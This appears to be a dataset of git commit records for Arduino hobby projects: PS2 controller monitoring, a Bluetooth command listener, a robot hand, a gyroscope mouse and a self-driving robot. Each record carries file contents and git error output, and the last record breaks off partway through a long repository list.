analogLedVal = map(analogLedVal, 0, 1023, 0, 255);\r\n\r\n vccReading = (analogRead(vccPin));\r\n \/\/ ~25 when floating (Unplugged from the PlayStation or PlayStation 2)\r\n \/\/ ~64 when turned off through the Low-Power Solid-State relay\r\n \/\/ ~196 when turned on through the Low-Power Solid-State relay and plugged in to the PS2\r\n vccReading = map(vccReading, 0, 1023, 0, 255);\r\n\r\n serial_rx_buffer_motor[5] = vccReading;\r\n serial_rx_buffer_motor[6] = leftMotorVal;\r\n serial_rx_buffer_motor[7] = rightMotorVal;\r\n serial_rx_buffer_motor[8] = analogLedVal;\r\n \/\/Serial.print('\\n');\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_motor); serial_rx_buffer_counter++) {\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x08);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(0x00);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_motor[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x08);\r\n }\r\n }\r\n Serial.flush();\r\n }\r\n {\r\n \/\/ Observed value is ~39 when On , 0 when Off (Reading analog instead of digital, so I can get a threshold of the reading)\r\n \/\/ ~15 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n \/\/leftMotorVal = (digitalRead(motorArray[0]));\r\n leftMotorVal = (analogRead(motorArray[0]));\r\n \/\/ map() is used to convert min and max values to desired values, in this case, I need to convert 1023 to 255\r\n leftMotorVal = map(leftMotorVal, 0, 1023, 0, 255);\r\n\r\n \/\/ Observed value is ~39 when On , 0 when Off\r\n \/\/ ~15 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n rightMotorVal = (analogRead(motorArray[1]));\r\n \/\/rightMotorVal = (digitalRead(motorArray[1]));\r\n rightMotorVal = map(rightMotorVal, 0, 1023, 0, 255);\r\n\r\n \/\/ Observed value ~108 when HIGH (LED is OFF), ~84 when LOW (LED is ON)\r\n \/\/ ~20 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n analogLedVal = (analogRead(motorArray[2]));\r\n \/\/analogLedVal = (digitalRead(motorArray[2]));\r\n analogLedVal = map(analogLedVal, 0, 1023, 0, 255);\r\n\r\n vccReading = (analogRead(vccPin));\r\n \/\/ ~25 when floating (Unplugged from the PlayStation or PlayStation 2)\r\n \/\/ ~64 when turned off through the Low-Power Solid-State relay\r\n \/\/ ~196 when turned on through the Low-Power Solid-State relay and plugged in to the PS2\r\n vccReading = map(vccReading, 0, 1023, 0, 255);\r\n\r\n serial_rx_buffer_motor[5] = vccReading;\r\n serial_rx_buffer_motor[6] = leftMotorVal;\r\n serial_rx_buffer_motor[7] = rightMotorVal;\r\n serial_rx_buffer_motor[8] = analogLedVal;\r\n \/\/Serial.print('\\n');\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_motor); serial_rx_buffer_counter++) {\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x07);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(0x00);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_motor[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x07);\r\n }\r\n }\r\n Serial.flush();\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gcn_controller\/gcn_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2517633a7940e68183a2d7c11c5d667ac2cfbcf4","subject":"Added bluetooth","message":"Added bluetooth\n\nSmall sketch that receives blt message and reacts depending on its\ncontent\n","repos":"nicho90\/IoB-Devices,nicho90\/IoB-Devices","old_file":"bluetooth\/bluetooth_small\/bluetooth_small.ino","new_file":"bluetooth\/bluetooth_small\/bluetooth_small.ino","new_contents":"\/\/\"RBL_nRF8001.h\/spi.h\/boards.h\" is needed in every new project\n#include <SPI.h>\n#include <EEPROM.h>\n#include <boards.h>\n#include <RBL_nRF8001.h>\n\n\/\/String message;\nvoid setup()\n{\n \/\/ \n \/\/ For BLE Shield and Blend:\n \/\/ Default pins set to 9 and 8 for REQN and RDYN\n \/\/ Set your REQN and RDYN here before ble_begin() if you need\n \/\/\n \/\/ ble_set_pins(3, 2);\n \n \/\/ Set your BLE advertising name here, max. length 10\n \/\/ble_set_name(\"My BLE\");\n \n \/\/ Init. and start BLE library.\n ble_begin();\n \n \/\/ Enable serial debug\n Serial.begin(9600);\n}\n\nunsigned char buf[16] = {0};\nunsigned char len = 0;\n\nvoid loop()\n{ \n if ( ble_connected())\n {\n if (ble_available())\n {\n while ( ble_available())\n {\n switch(ble_read()) {\n case 49:\n Serial.write(ble_read());\n Serial.println();\n Serial.write(\"Turn Theft-Protection on\");\n Serial.println();\n break;\n case 48:\n Serial.write(ble_read());\n Serial.println();\n Serial.write(\"Turn Theft-Protection off\"); \n Serial.println(); \n break;\n default:\n Serial.write(ble_read());\n Serial.println();\n Serial.write(\"Unknown command\"); \n Serial.println();\n } \n }\n }\n }\n\n ble_do_events();\n delay(1000); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetooth\/bluetooth_small\/bluetooth_small.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d4e895054321a8d8dc206bf35e94df82baabc4da","subject":"mano v0.2 - InMoov Hand - AILR","message":"mano v0.2 - InMoov Hand - AILR\n\nThis version allows open and close the hand with Arduino Boards. \r\nNote: Calibrate with manov0.1.\r\n2016.\r\nAngel Iv\u00e1n Lozano Ram\u00edrez.\r\nhttps:\/\/goo.gl\/rQB4H5","repos":"ailr16\/InMoov-Control---AILR","old_file":"mano_v0.2\/mano_v0.2.ino","new_file":"mano_v0.2\/mano_v0.2.ino","new_contents":"\/*\n * Abre y cierra la mano cuando un bot\u00f3n es pulsado\n * Por Angel Iv\u00e1n Lozano Ram\u00edrez\n * 2016\n * https:\/\/github.com\/ailr16\/InMoov-Control---AILR\n * https:\/\/www.youtube.com\/channel\/UCJ5MFm2qRBsL5Vf8Yft5vpw\n *\/\n\n#include<Servo.h> \/\/Librer\u00eda para contolar Servos \nServo menique; \/\/Servo para dedo me\u00f1ique\nServo anular; \/\/Servo para dedo anular\nServo medio; \/\/Servo para dedo medio\nServo indice; \/\/Servo para dedo indice\nServo pulgar; \/\/Servo para dedo pulgar\n\nint boton = 12; \/\/Se\u00f1al TTL de Bot\u00f3n en pin 12\nint estado = 0; \/\/Estado del bot\u00f3n en 0\n\n\nvoid setup() {\n menique.attach(3); \/\/Servo en pin 3\n anular.attach(5); \/\/Servo en pin 5\n medio.attach(6); \/\/Servo en pin 6\n indice.attach(10); \/\/Servo en pin 10\n pulgar.attach(11); \/\/Servo en pin 11\n pinMode(boton, INPUT); \/\/Pin bot\u00f3n como entrada\n}\n\nvoid loop() {\n estado = digitalRead(boton); \/\/Lectura digital del pin boton\n\n if(estado == HIGH){ \/\/Condicional si la lectura es alta\n cerrar(); \/\/Void cerrar()\n } \n else{ \/\/Si la lectura es baja\n abrir(); \/\/Void arir()\n }\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/LOS \u00c1NGULOS SE OBTIENEN A PARTIR DE LA CALIBRACI\u00d3N CON mano_v0.1\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid abrir(){\n menique.write(180);\n anular.write(180);\n medio.write(0);\n indice.write(180);\n pulgar.write(0);\n}\n\nvoid cerrar(){\n menique.write(95);\n anular.write(0);\n medio.write(180);\n indice.write(60);\n pulgar.write(180);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mano_v0.2\/mano_v0.2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4afa025a9ed31c6bb8e57a2917c675b632642466","subject":"basic file with filters on mouse data","message":"basic file with filters on mouse data","repos":"juliev42\/prerit-therapy-glove","old_file":"raw_accel_noint_mouse.ino","new_file":"raw_accel_noint_mouse.ino","new_contents":"#include <Wire.h>\n#include <I2Cdev.h>\n#include <MPU6050.h>\n#include <Mouse.h>\n\n#define LPF_ALPHA .2; \/\/alpha value for the LP Filter \n\nint button1 = 4; \/\/will map click to pointer opponance exercise later, to be updated \nint button2 = 7;\n\nMPU6050 mpu;\nint16_t ax, ay, az, gx, gy, gz;\nint vx, vy;\n\nint buttonState1 = 0; \nint buttonState2 = 0; \n\nvoid setup() {\n\n Serial.begin(9600);\n Wire.begin();\n pinMode(button1, INPUT);\n pinMode(button2, INPUT);\n mpu.initialize();\n if (!mpu.testConnection()) { while (1); }\n}\n\nvoid loop() {\n mpu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz); \/\/accelerometer then gyroscope data \n\n\/\/ vx = (gx+15)\/150; \n\/\/ vy = -(gz-100)\/150;\n\n Serial.print(\"gx = \");\n Serial.print(gx);\n Serial.print(\" | gy = \");\n Serial.print(gy);\n Serial.print(\" | gz = \");\n Serial.print(gz);\n\n \n Serial.print(\" | X = \");\n Serial.print(vx);\n Serial.print(\" | Y = \");\n Serial.println(vy);\n\n\n Serial.print(\"ax = \");\n Serial.print(ax);\n Serial.print(\" | ay = \");\n Serial.print(ay);\n Serial.print(\" | az = \");\n Serial.println(az);\n\n moveMouseAVG(5); \n \n \/\/Mouse.move(vx, vy);\n \n buttonState1 = digitalRead(button1);\n buttonState2 = digitalRead(button2);\n \n\/\/ if (buttonState1 == HIGH) {\n\/\/ Mouse.press(MOUSE_LEFT);\n\/\/ delay(100);\n\/\/ Mouse.release(MOUSE_LEFT);\n\/\/ delay(200);\n\/\/ } \n\/\/ else if(buttonState2 == HIGH) {\n\/\/ Mouse.press(MOUSE_RIGHT);\n\/\/ delay(100);\n\/\/ Mouse.release(MOUSE_RIGHT);\n\/\/ delay(200);\n\/\/ }\n delay(200);\n}\n\n\nvoid moveMouseAVG(int numSamples){ \/\/simple average filter for gyro data (not moving avg) \n int gxsum = 0; \n \/\/int gysum = 0; \n int gzsum = 0; \n for(int i =0; i<numSamples; i++){\n gxsum += mpu.getRotationX(); \n \/\/gysum += mpu.getRotationY(); \n gzsum += mpu.getRotationZ(); \n delay(20); \n }\n float newX = (gxsum\/numSamples+15)\/150; \n float newY = -(gzsum\/numSamples-100)\/150; \/\/get y value from gz samples \n \n Mouse.move(newX, newY); \n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'raw_accel_noint_mouse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"423c83843c775ec71d17fa945bbcc4426b317f51","subject":"Update HCSR04.ino","message":"Update HCSR04.ino","repos":"ivanseidel\/ArduinoSensors,ivanseidel\/ArduinoSensors,eamante\/ArduinoSensors,eamante\/ArduinoSensors","old_file":"examples\/Ultrasonic Sensors\/HCSR04\/HCSR04.ino","new_file":"examples\/Ultrasonic Sensors\/HCSR04\/HCSR04.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Ultrasonic' did not match any file(s) known to git\nerror: pathspec 'Sensors\/HCSR04\/HCSR04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"38eb092f8745ce56c03077bbf9b058b31cc3d53a","subject":"added analog mux in hardware, so needed to set the pin level properly. This will be used to read 2 channels of termomitors","message":"added analog mux in hardware, so needed to set the pin level properly. This will be used to read 2 channels of termomitors\n","repos":"ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi","old_file":"src\/src\/FSBrowserNG.ino","new_file":"src\/src\/FSBrowserNG.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ccrome\/masterbuilt-smoker-wifi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"98c4f5562a0e91ca0324b8021d3c528ff00a3168","subject":"\tmodified: sources\/Arduino\/sketchs\/senseur\/senseur.ino","message":"\tmodified: sources\/Arduino\/sketchs\/senseur\/senseur.ino\n","repos":"emeric254\/autoArduino,emeric254\/autoArduino","old_file":"sources\/Arduino\/sketchs\/senseur\/senseur.ino","new_file":"sources\/Arduino\/sketchs\/senseur\/senseur.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/emeric254\/autoArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7bd987956fbed3426d57ca6a2fbb47107e2c31b8","subject":"add better self driving sketch","message":"add better self driving sketch\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/self-driving-v7.ino","new_file":"testing\/arduino\/self-driving-v7.ino","new_contents":"#include \"Arduino.h\"\n#include \"Adafruit_NeoPixel.h\"\n#include \"Servo.h\"\n#include \"NewPing.h\"\n\n\/\/ Base Date\nconst uint16_t initialDelay = 2500;\n\n\/\/ Ranges and Data\nconst uint8_t rangeLimit_Warning1 = 70;\nconst uint8_t rangeLimit_Warning2 = 50;\nconst uint8_t rangeLimit_Stop = 40;\nconst uint8_t motorSpeed = 95; \/\/ max: 255\n\nconst uint16_t rangeLimit_RotateFor = 500;\nunsigned long rangeLimit_Timestamp = 0;\nbool wheelSpinCompleted = true;\n\n\n\/\/ Ultrasonic Sensor\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 8;\nconst uint16_t maxDistance = 250;\n\nNewPing sonar(trigPin, echoPin, maxDistance);\n\nuint16_t rangeLeft;\nuint16_t rangeCenter;\nuint16_t rangeRight;\nuint16_t lastRange;\n\n\/\/ LED\nconst uint8_t ledPin = 11;\nconst bool ledBatterySaving = true;\nAdafruit_NeoPixel LEDStrip = Adafruit_NeoPixel(24, ledPin, NEO_GRB + NEO_KHZ800);\n\n\/\/ Motor \/ Wheels\nconst uint8_t motorPin1_1 = A3;\nconst uint8_t motorPin1_2 = A2;\nconst uint8_t motorEnablePin1 = 3;\n\nconst uint8_t motorPin2_1 = A5;\nconst uint8_t motorPin2_2 = A4;\nconst uint8_t motorEnablePin2 = 6;\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 10;\n\nconst uint8_t servoLimitLeft = 170;\nconst uint8_t servoTiltLeft = 130;\nconst uint8_t servoLimitRight = 10;\nconst uint8_t servoTiltRight = 50;\nconst uint8_t servoCenter = 90;\nconst uint8_t seroRotationDurationPerAngle = 2;\n\nenum direction {\n LEFT,\n NONE,\n RIGHT\n};\ndirection servoRangeDirection = NONE;\nuint32_t servoLastScanTimestamp = 0;\n\ndirection servoLastScan = NONE;\n\n\/\/ IR obstacle detection\nint obstaclePin = A1;\n\n\nvoid setup()\n{\n \/\/ Scanner\n pinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\n pinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n\n rangeLimit_Timestamp = millis();\n\n pinMode(motorEnablePin1, OUTPUT);\n analogWrite(motorEnablePin1, 255);\n\n pinMode(motorEnablePin2, OUTPUT);\n analogWrite(motorEnablePin2, 255);\n\n \/\/ Motor\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n\n \/\/ IR Detector\n pinMode(obstaclePin, INPUT);\n\n LEDStrip.begin();\n LEDStrip.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin, 400, 2350);\n ServoMotor.write(servoCenter);\n}\n\nvoid GetRange(int servoPos, bool rotating)\n{\n long range = sonar.ping_cm();\n\n \/\/ fallback if return value is out of range\n if(range == 0 && rotating) { range = maxDistance; }\n if(range == 0) { range = lastRange; }\n if(range > 0 && !rotating) { lastRange = range;}\n\n if(servoPos == servoCenter) { rangeCenter = range; }\n if(servoPos > servoCenter) { rangeLeft = range; }\n if(servoPos < servoCenter) { rangeRight = range; }\n}\n\nbool GetObstacle()\n{\n if(analogRead(obstaclePin) < 500)\n {\n return true;\n }\n return false;\n}\n\nvoid SetServoAngle(uint8_t angle)\n{\n ServoMotor.write(angle);;\n}\n\n\nvoid SetMotor(int id, int speed)\n{\n if(id == 1)\n {\n SetMotorWorker(motorPin1_1, motorPin1_2, motorEnablePin1, speed);\n }\n\n if(id == 2)\n {\n SetMotorWorker(motorPin2_1, motorPin2_2, motorEnablePin2, speed);\n }\n}\n\nvoid SetMotorWorker(int pin1, int pin2, int enablePin, int speed)\n{\n analogWrite(enablePin, abs(speed));\n\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n\n if (speed > 0)\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\nvoid ColorSet(uint32_t c)\n{\n for(uint16_t i=0; i < LEDStrip.numPixels(); i++)\n {\n if(ledBatterySaving && i%8 == 0 || !ledBatterySaving)\n {\n LEDStrip.setPixelColor(i, c);\n }\n }\n LEDStrip.show();\n}\n\n\nvoid SetLightByRange(long range)\n{\n uint32_t color = LEDStrip.Color(0, 255, 0);\n if(range < rangeLimit_Warning1) { color = LEDStrip.Color(127, 255, 0);}\n if(range < rangeLimit_Warning2) { color = LEDStrip.Color(255, 127, 0); }\n if(range < rangeLimit_Stop) { color = LEDStrip.Color(255, 0, 0); }\n\n ColorSet(color);\n}\n\nvoid SetLightInitState()\n{\n ColorSet(LEDStrip.Color(255, 255, 255));\n\n SetMotor(1, 0);\n SetMotor(2, 0);\n}\n\nvoid SetLightErrorState()\n{\n ColorSet(LEDStrip.Color(0, 0, 255));\n}\n\n\nvoid SetServo(uint32_t uptime, uint8_t servoPos)\n{\n uint32_t interval = 700;\n uint32_t returnInterval = 300;\n\n\n if(uptime < interval+1)\n {\n return;\n }\n\n if(servoLastScanTimestamp < uptime - interval)\n {\n servoLastScanTimestamp = uptime;\n\n if(servoLastScan == RIGHT)\n {\n SetServoAngle(servoTiltLeft);\n delay(seroRotationDurationPerAngle * (abs(servoTiltLeft - servoPos)));\n servoLastScan = LEFT;\n }\n else\n {\n SetServoAngle(servoTiltRight);\n delay(seroRotationDurationPerAngle * (abs(servoTiltRight - servoPos)));\n servoLastScan = RIGHT;\n }\n\n return;\n }\n\n if(servoLastScanTimestamp < uptime - returnInterval)\n {\n SetServoAngle(servoCenter);\n delay(seroRotationDurationPerAngle * (abs(servoCenter - servoPos)));\n }\n}\n\nvoid SetServoRangeDirection()\n{\n if(rangeLeft > rangeRight)\n {\n servoRangeDirection = LEFT;\n }\n else\n {\n servoRangeDirection = RIGHT;\n }\n}\n\n\nvoid loop()\n{\n uint32_t uptime = millis();\n uint8_t servoPos = ServoMotor.read();\n\n GetRange(servoPos, wheelSpinCompleted);\n\n SetServo(uptime, servoPos);\n\n \/\/ Wait for initial scans before performing any actions\n if(uptime < initialDelay)\n {\n SetLightInitState();\n delay(20);\n return;\n }\n\n bool obstacleFound = GetObstacle();\n if(obstacleFound)\n {\n SetLightErrorState();\n }\n else\n {\n SetLightByRange(rangeCenter);\n }\n\n \/\/ obstacle is further away than X cm\n \/\/ and no obstacle in front of the IR sensor\n if(!obstacleFound && wheelSpinCompleted && rangeCenter > rangeLimit_Stop)\n {\n rangeLimit_Timestamp = uptime;\n\n \/\/ slightly turn if side better than center\n if(rangeCenter < rangeLimit_Warning1 && rangeRight > 0 && rangeLeft > 0)\n {\n if(rangeRight > rangeLeft && rangeRight > rangeCenter )\n {\n \/\/ drive right\n SetMotor(1, motorSpeed);\n SetMotor(2, motorSpeed\/2);\n }\n\n if(rangeLeft > rangeRight && rangeLeft > rangeCenter )\n {\n \/\/ drive left\n SetMotor(1, motorSpeed\/2);\n SetMotor(2, motorSpeed);\n }\n }\n\n \/\/ drive straight\n SetMotor(1, motorSpeed);\n SetMotor(2, motorSpeed);\n }\n else\n {\n if(servoRangeDirection == NONE)\n {\n SetServoRangeDirection();\n }\n\n if(servoRangeDirection == LEFT)\n {\n SetMotor(1, -motorSpeed);\n SetMotor(2, motorSpeed);\n }\n else\n {\n SetMotor(1, motorSpeed);\n SetMotor(2, -motorSpeed);\n }\n\n wheelSpinCompleted = false;\n\n \/\/ TODO: if this is going on for too long - stop\n\n if(rangeCenter > rangeLimit_Warning2 && (rangeLimit_Timestamp + rangeLimit_RotateFor) <= uptime)\n {\n wheelSpinCompleted = true;\n servoRangeDirection = NONE;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/self-driving-v7.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0ddbfd0e9562835b41b69f249d909263eb4b3001","subject":"Updated Wifi Connect with WEP example to explain 40- vs 128-bit","message":"Updated Wifi Connect with WEP example to explain 40- vs 128-bit\n","repos":"xxxajk\/Arduino-1,eduardocasarin\/Arduino,fungxu\/Arduino,adafruit\/ESP8266-Arduino,SmartArduino\/Arduino-1,lulufei\/Arduino,ogferreiro\/Arduino,eggfly\/arduino,niggor\/Arduino_cc,mangelajo\/Arduino,niggor\/Arduino_cc,smily77\/Arduino,UDOOboard\/Arduino,ms-iot\/Arduino,xxxajk\/Arduino-1,jaimemaretoli\/Arduino,ogferreiro\/Arduino,xxxajk\/Arduino-1,drpjk\/Arduino,onovy\/Arduino,ccoenen\/Arduino,ricklon\/Arduino,majenkotech\/Arduino,radut\/Arduino,ogferreiro\/Arduino,mattvenn\/Arduino,eggfly\/arduino,danielchalef\/Arduino,lukeWal\/Arduino,niggor\/Arduino_cc,radut\/Arduino,bugobliterator\/BUAGI,diydrones\/Arduino,weera00\/Arduino,stevemayhew\/Arduino,piersoft\/esp8266-Arduino,jamesrob4\/Arduino,tommyli2014\/Arduino,fungxu\/Arduino,championswimmer\/Arduino,weera00\/Arduino,wayoda\/Arduino,arunkuttiyara\/Arduino,snargledorf\/Arduino,tbowmo\/Arduino,PaintYourDragon\/Arduino,jomolinare\/Arduino,garci66\/Arduino,rodibot\/Arduino,talhaburak\/Arduino,arduino-org\/Arduino,stickbreaker\/Arduino,karlitxo\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,smily77\/Arduino,KlaasDeNys\/Arduino,wilhelmryan\/Arduino,Protoneer\/Arduino,Gourav2906\/Arduino,tomkrus007\/Arduino,NicoHood\/Arduino,01org\/Arduino,mattvenn\/Arduino,ms-iot\/Arduino,diydrones\/Arduino,Ramoonus\/Arduino,PaoloP74\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,snargledorf\/Arduino,wayoda\/Arduino,shiitakeo\/Arduino,niggor\/Arduino_cc,ccoenen\/Arduino,OpenDevice\/Arduino,UDOOboard\/Arduino,jamesrob4\/Arduino,zenmanenergy\/Arduino,shannonshsu\/Arduino,KlaasDeNys\/Arduino,381426068\/Arduino,ari-analytics\/Arduino,bsmr-arduino\/Arduino,gurbrinder\/Arduino,tskurauskas\/Arduino,bigjosh\/Arduino,ogferreiro\/Arduino,PeterVH\/Arduino,jabezGit\/Arduino,ForestNymph\/Arduino_sources,jmgonzalez00449\/Arduino,plaintea\/esp8266-Arduino,Protoneer\/Arduino,ikbelkirasan\/Arduino,Chris--A\/Arduino,vbextreme\/Arduino,ashwin713\/Arduino,lukeWal\/Arduino,ssvs111\/Arduino,andrealmeidadomingues\/Arduino,paulmand3l\/Arduino,aichi\/Arduino-2,ThoughtWorksIoTGurgaon\/Arduino,KlaasDeNys\/Arduino,henningpohl\/Arduino,talhaburak\/Arduino,jmgonzalez00449\/Arduino,steamboating\/Arduino,vbextreme\/Arduino,ms-iot\/Arduino,ntruchsess\/Arduino-1,cscenter\/Arduino,andyvand\/Arduino-1,paulmand3l\/Arduino,cscenter\/Arduino,zaiexx\/Arduino,stickbreaker\/Arduino,damellis\/Arduino,plinioseniore\/Arduino,adafruit\/ESP8266-Arduino,cscenter\/Arduino,eddyst\/Arduino-SourceCode,lulufei\/Arduino,Gourav2906\/Arduino,ntruchsess\/Arduino-1,PeterVH\/Arduino,EmuxEvans\/Arduino,KlaasDeNys\/Arduino,ricklon\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,weera00\/Arduino,onovy\/Arduino,rcook\/DesignLab,paulmand3l\/Arduino,benwolfe\/esp8266-Arduino,pdNor\/Arduino,scdls\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,leftbrainstrain\/Arduino-ESP8266,spapadim\/Arduino,benwolfe\/esp8266-Arduino,smily77\/Arduino,arduino-org\/Arduino,leftbrainstrain\/Arduino-ESP8266,jaimemaretoli\/Arduino,jmgonzalez00449\/Arduino,Chris--A\/Arduino,gurbrinder\/Arduino,ms-iot\/Arduino,andrealmeidadomingues\/Arduino,wayoda\/Arduino,Gourav2906\/Arduino,ashwin713\/Arduino,jamesrob4\/Arduino,mangelajo\/Arduino,arunkuttiyara\/Arduino,chaveiro\/Arduino,ricklon\/Arduino,HCastano\/Arduino,andyvand\/Arduino-1,me-no-dev\/Arduino-1,eggfly\/arduino,ari-analytics\/Arduino,cscenter\/Arduino,niggor\/Arduino_cc,ogahara\/Arduino,piersoft\/esp8266-Arduino,raimohanska\/Arduino,tomkrus007\/Arduino,odbol\/Arduino,fungxu\/Arduino,ikbelkirasan\/Arduino,Orthogonal-Systems\/arduino-libs,mattvenn\/Arduino,mangelajo\/Arduino,eduardocasarin\/Arduino,zenmanenergy\/Arduino,NeuralSpaz\/Arduino,myrtleTree33\/Arduino,lukeWal\/Arduino,arduino-org\/Arduino,onovy\/Arduino,weera00\/Arduino,zederson\/Arduino,EmuxEvans\/Arduino,ektor5\/Arduino,byran\/Arduino,gurbrinder\/Arduino,plinioseniore\/Arduino,jaimemaretoli\/Arduino,Ramoonus\/Arduino,zaiexx\/Arduino,gestrem\/Arduino,ForestNymph\/Arduino_sources,superboonie\/Arduino,snargledorf\/Arduino,ForestNymph\/Arduino_sources,probonopd\/Arduino,toddtreece\/esp8266-Arduino,benwolfe\/esp8266-Arduino,Cloudino\/Arduino,chaveiro\/Arduino,noahchense\/Arduino-1,steamboating\/Arduino,ricklon\/Arduino,nkolban\/Arduino,talhaburak\/Arduino,arunkuttiyara\/Arduino,eddyst\/Arduino-SourceCode,jmgonzalez00449\/Arduino,eduardocasarin\/Arduino,lukeWal\/Arduino,paulo-raca\/ESP8266-Arduino,odbol\/Arduino,lulufei\/Arduino,acosinwork\/Arduino,jomolinare\/Arduino,rcook\/DesignLab,andrealmeidadomingues\/Arduino,scdls\/Arduino,eeijcea\/Arduino-1,kidswong999\/Arduino,steamboating\/Arduino,nandojve\/Arduino,NicoHood\/Arduino,adafruit\/ESP8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,ogahara\/Arduino,xxxajk\/Arduino-1,kidswong999\/Arduino,chaveiro\/Arduino,Chris--A\/Arduino,laylthe\/Arduino,tskurauskas\/Arduino,jomolinare\/Arduino,zaiexx\/Arduino,raimohanska\/Arduino,odbol\/Arduino,jabezGit\/Arduino,eggfly\/arduino,plaintea\/esp8266-Arduino,weera00\/Arduino,andyvand\/Arduino-1,ntruchsess\/Arduino-1,ari-analytics\/Arduino,rcook\/DesignLab,shannonshsu\/Arduino,jaimemaretoli\/Arduino,damellis\/Arduino,nandojve\/Arduino,jaehong\/Xmegaduino,tannewt\/Arduino,KlaasDeNys\/Arduino,paulo-raca\/ESP8266-Arduino,tskurauskas\/Arduino,jamesrob4\/Arduino,ektor5\/Arduino,mc-hamster\/esp8266-Arduino,bsmr-arduino\/Arduino,championswimmer\/Arduino,jmgonzalez00449\/Arduino,linino\/Arduino,stevemarple\/Arduino-org,tskurauskas\/Arduino,me-no-dev\/Arduino-1,acosinwork\/Arduino,UDOOboard\/Arduino,ForestNymph\/Arduino_sources,noahchense\/Arduino-1,zaiexx\/Arduin